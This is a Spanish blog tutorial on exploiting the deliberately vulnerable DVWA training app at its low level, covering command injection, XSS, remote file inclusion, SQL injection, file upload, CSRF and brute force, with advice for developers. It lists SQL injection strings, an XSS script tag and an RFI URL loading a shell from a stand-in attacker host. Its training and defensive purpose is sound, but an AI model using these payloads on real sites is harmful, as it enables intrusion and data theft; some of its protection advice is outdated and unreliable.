DVWA: Conociendo y explotando vulnerabilidades web (Level: low)

DVWA: Conociendo y explotando vulnerabilidades web (Level: low)

Damn Vulnerable Web App (DVWA) es una aplicación hecha en PHP y MySQL para el entrenamiento de explotación de vulnerabilidades web, perfecto para poner a pruebas nuestras habilidades en el tema e igualmente para aprender nuevas técnicas. DVWA está divido en tres niveles: Low, medium y hight, cada uno respectivamente va aumentando su nivel de dificultad, para esta primera entrega iniciaremos desde lo más fácil, explicando en que consiste cada una de las vulnerabilidades presentadas, métodos de explotación y por supuesto tips de protección para prevenir dichas vulnerabilidades.

Instalación de DVWA

La instalación de esta plataforma es muy fácil, similar a la de cualquier CMS hecho en PHP y MySQL. Si tienes configurado tu servidor web local con el usuario por defecto root y contraseña vacía, descarga DVWA y luego con un solo click el hará el resto, en caso de tener otro usuario u contraseña para MySQL se puede cambiar en el archivo config/config.inc.php. En cualquier caso las instrucciones se encuentran en el archivo README.txt de DVWA. Luego de la instalación en el menú seleccionar DVWA Security y ahí seleccionar low.

Command Execution

¿Cómo funciona?

Esta vulnerabilidad nos permite ejecutar comandos de consola desde la web, permitiendo así ver, modificar y eliminar archivos y directorios del servidor, las posibilidades son infinitas, su única limitación es el usuario que usa la consola para ejecutar los comandos, así dependería de los permisos de ese usuario para realizar ciertas acciones.

Explotando la vulnerabilidad

En el ejemplo tenemos un formulario y lo que hace es hacer un ping una IP que indiquemos recibiendo algo como:

Haciendo ping a 127.0.0.1 con 32 bytes de datos:
Respuesta desde 127.0.0.1: bytes=32 tiempoRespuesta desde 127.0.0.1: bytes=32 tiempoRespuesta desde 127.0.0.1: bytes=32 tiempoRespuesta desde 127.0.0.1: bytes=32 tiempo
Estadísticas de ping para 127.0.0.1:
Paquetes: enviados = 4, recibidos = 4, perdidos = 0
(0% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
M?nimo = 0ms, M?ximo = 0ms, Media = 0ms

Si intentas poner otra cosa que no sea una IP devolverá un error. Para poder entonces ejecutar nuestros comando debemos hacer el uso de IP && comando:

Recomendaciones para desarrolladores

En caso de programar un aplicativo que ejecute comandos de consola no olvides validar desde el lado del servidor los datos que se introducen, establecer un número limite de caracteres y restringir el uso de los operadores &&, ||, etc.

XSS (Cross-site scripting)

¿Cómo funciona?

Una de las vulnerabilidades más comunes en estos tiempos, consiste en «ejecutar» código HTML o Javascript en un sitio web permitiendo así cambiar totalmente la interfaz de un sitio web (defacement). Al ejecutar scripts maliciosos puede ser perjudicial para los usuarios que accedan a la web. Nos podemos encontrar con dos formas de explotar esta vulnerabilidad, la primera es de forma persistente que comúnmente es cuando el código insertado es guardado en una base de datos y luego al realizar una consulta a esa base de datos se ejecuta el código, para explicarlo de una mejor forma y no confundir depronto esta vulnerabilidad con otras tomemos el siguiente ejemplo:

Un blog con un sistema de comentarios que no filtra el contenido de los mismos, los comentarios son guardados en una base de datos y siempre se están mostrando en el articulo, cuando una persona introduce código HTML como comentario este se mostraría de forma permanente en ese articulo.

La otra forma es conocida como reflejada, comúnmente se ve en sitios que pasan parámetros por vía GET (también puede ser POST) como por ejemplo:

buscar.php?d=Busqueda

En donde se inserta en el parametro d el código a ejecutar:

buscar.php?d=<script type="text/javascript">scriptaqui();</script>

De esta forma el código insertado no se mostraría de forma persistente, pero aun así alguien podría crear una URL que ejecute el código malicioso y luego enviárselo a una persona para robarle su cookie o incluso su contraseña (Pishing).

Explotando la vulnerabilidad

XSS reflected

Un formulario para escribir nuestro nombre, al escribir UrbaN77 aparece Hello UrbaN77 como aparece en la imagen, ¿qué pasaría si se inserta código HTML?

XSS Stored

Nos presentan un sistema de comentarios, para este caso probemos algo de Javascript:

Recomendaciones para desarrolladores

Para evitar vulnerabilidades XSS debemos filtrar el contenido insertado por usuarios, para ello PHP nos provee de varias funciones como htmlentities, strip_tags y también existen clases que facilitan esta tarea. Todos los frameworks de PHP que conozco cuentan protección para XSS.

RFI (Remote File Inclusion)

¿Cómo funciona?

Esta vulnerabilidad permite incluir archivos externos a nuestro sitio, donde normalmente ese archivo externo es una Shell PHP.

Estructura común de una URL llamando otro archivo:

http://sitiovulnerable.com/menu.php?seccion=usuarios.php

Estructura de un RFI incluyendo un archivo con una Shell:

http://sitiovulnerable.com/menu.php?seccion=http://webatacante.com/shell.txt

Explotando la vulnerabilidad

En este caso DVWA nos muestra:

To include a file edit the ?page=index.php in the URL to determine which file is included.

Recomendaciones para desarrolladores

No es una buena tecnica estar llamando archivos vía GET, pero en caso de que lo hagas comprueba de que el fichero exista dentro del servidor con la función file_exists de PHP, otra solución es usar una validación que elimine cualquier caracter usado en URLs, como puntos o barras (slash).

SQL Injection

¿Cómo funciona?

Como dice su nombre se trata de inyectar código SQL «intruso» en una consulta no validada correctamente, la idea principal al hacer una inyección es extraer la mayor información posible de una base de datos, aunque claro tiene otra cantidad de usos como por ejemplo iniciar sesión con la cuenta de un usuario o subir una shell al servidor, cuando llegue el momento hablaremos más detalladamente sobre esta vulnerabilidad.

Explotando la vulnerabilidad

En este caso se nos presenta un formulario para escribir el ID de un usuario de la base de datos, al escribir 1 por ejemplo debería devolver algo como:

ID: 1
First name: admin
Surname: admin

Normalmente cuando se ven ese tipo de formularios se inserta una comilla ‘ (se convierte en un habito poner una comilla en cualquier parte :P) para ver el resultado en la consulta, obteniendo lo siguiente:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

El anterior error indica que hay un problema en la consulta, así que se procede a realizar la inyección. Hay que tener en cuenta que no en todos los casos aparece el error, hay inyecciones mucho más avanzadas que no muestran nada enviando una comilla. Aparte de la comilla existen unas inyecciones basicas que normalmente siempre son la primera opción al intentar hacer este tipo de ataque:

1' OR 1=1--
1' OR '1' = '1
'
''
'or"='
') or ('a'='a
") or ("a"="a
hi" or "a"="a
or a=a--
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a

Al probar la inyección con 1' OR '1' = '1 el resultado fue una consulta devolviendo todos los usuarios de la base de datos:

Recomendaciones para desarrolladores

Para evitar ataques SQL Injection PHP cuenta con algo llamado magic cuotes que automaticamente escapa todas las comillas, se puede activar desde el PHP.ini aunque en la actualidad NO está recomendado usar este método sino hacer uso de unas funciones en tiempo de ejecución, algunas de esas funciones son addcslashes, mysql_real_escape_string y unas cuantas más, pero en realidad lo que yo más recomiendo es usar alguna clase hecha que haga este tipo de validaciones, así el desarrollo es mucho más rápado ya que no perdemos tiempo buscando como evitar estos ataques. Adicionalmente a esto NO se recomienda el uso de funciones como mysql_query, en vez de eso PHP publicamente recomienda la extensión MySQLi para este tipo de trabajos. Los frameworks para PHP cuentan con esta protección integrada, es otra opción disponible.

SQL Injection (Blind)

¿Cómo funciona?

Funciona como un inyección SQL «normal» como la que vimos anteriormente, solo que en estos casos no se devuelve ningún error, como lo comentaba anteriormente que una aplicación no devuelva un error no quiere decir que no es vulnerable. ¿Entonces como saber que una web es vulnerable a SQL Injection Blind? en este caso se trata de probar un poco más, aunque de igual forma cuando la inyección esta bien hecha se muestra el contenido que se quiere.

Explotando la vulnerabilidad

Para este caso se hace exactamente lo mismo que el caso anterior, en el formulario escribir 1′ OR ‘1’ = ‘1 y con eso debería devolver una consulta con todos los usuarios de la base de datos.

Unrestricted File Upload

¿Cómo funciona?

Consiste en subir código malicioso como por ejemplo una Shell PHP por medio de un formulario que originalmente es creado para solo subir imágenes pero no filtra el tipo de archivos.

Explotando la vulnerabilidad

En este caso solo es subir un archivo al servidor mediante el formulario, no existe ningún tipo de validación así que no es necesario «bypassear» el mismo:

La pagina devuelve la ruta del archivo subido que ejecuta el código malicioso.

Recomendaciones para desarrolladores

Verificar el tipo de archivo que se sube no solo con su extensión porque existen técnicas para pasar ese tipo de filtros, sino también verificando su Content-Type, limitar el tamaño del archivo y si por ejemplo son imágenes usar la función de PHP getimagesize.

Cross Site Request Forgery (CSRF)

¿Cómo funciona?

Cada sitio tiene su forma de funcionar y cuando se realiza una acción como por ejemplo cambiar la contraseña de un usuario logueado se envían dichos datos a una web que los recibe (internamente se vería algo como nuevopassword.php?nuevopass=TALCOSA&confirmacion=TALCOSA) y si cumple con los requerimientos para el cambio de contraseña se realiza la acción. Este ataque se basa en que el atacante envía una web (existen más formas) a la victima y al abrirla sin darse cuenta ocultamente un script hace una petición a un sitio en especifico haciéndose pasar como ese usuario logueado y haciendo X acción, como por ejemplo cambiar la contraseña de ese usuario o publicar un comentario. Así que antes de visitar cualquier sitio web recuerda este tipo de ataque.

Explotando la vulnerabilidad

En este caso DVWA nos muestra un formulario con dos campos para cambiar la contraseña de el usuario admin, para explotar esta vulnerabilidad hay que tener conocimientos mínimos en programación, básicamente crear una web con un iFrame que haga una petición a ese formulario cambiando la contraseña y para eso se debe conocer los parámetros que se envían en la web (Un poco de Tamper Data ayuda) csrf/?password_new=tales&password_conf=tales&Change=Change#.

Para quienes no son tan buenos programando existe una herramienta llamada CSRFTester que se encarga de conocer los parámetros que usa un sitio para realizar una acción y posteriormente permite generar un HTML con el código necesario para el ataque. Para que el programa funcione se debe establecer en las opciones del navegador como proxy HTTP a localhost con puerto 8008, de cualquier forma la documentación del programa puede ser encontrada aquí.

Recomendaciones para desarrolladores

A la hora de enviar información importante por formularios usa tokens, de esta forma cada token varía según el usuario y no podría enviarse peticiones sin el, dificultando este tipo de ataques.

Brute Force

¿Cómo funciona?

Un ataque por fuerza bruta se trata de enviar las combinaciones posibles para loguearse como un usuario ya sea usando un diccionario con palabras habituales o generando palabras aleatoriamente, es una técnica de la que hemos hablado ampliamente en artículos como  ¿Qué es y cómo funciona un ataque por fuerza bruta? y Hash: Cómo identificarlos y crackearlos.

Explotando la vulnerabilidad

Existen bastantes herramientas para realizar ataques por fuerza bruta a formularios, pero en este caso usaremos un complemento en Firefox llamado Fireforce porque facilita el trabajo. En este caso debido a que si intentamos hacer el ataque por fuerza bruta con algún programa no podríamos hacerlo ¿por qué? porque DVWA usa un sistema de login con cookies, eso en si no es un problema porque se puede sacar la cookie y hacer un script para realizar el brute force o probar alguna herramienta que permita usar una cookie, pero para no complicarnos tanto la vida usaremos Fireforce. Al tener el complemento instalado, vamos al campo Password damos click derecho Fireforce > Load dictoniary y seleccionamos el archivo diccionario que tengamos, luego de seguir unos simples pasos la herramienta hace el ataque mostrando la contraseña (en caso de encontrarla). El resultado final:

Recomendaciones para desarrolladores

Después de determinado número de intentos fallidos usar un sistema de captcha para hacer más difícil el ataque, otra buena opción es bloquear la IP con intentos fallidos por determinado tiempo. Adicionalmente usar tokens aleatorios en los formularios.

Estudiante de Psicología, interesado por el desarrollo web y las nuevas tecnologías. Editor y co-fundador de RedInfoCol.

Deja un comentario

Your email address will not be published. Required fields are marked *

You may use these <abbr title="HyperText Markup Language">HTML</abbr> tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>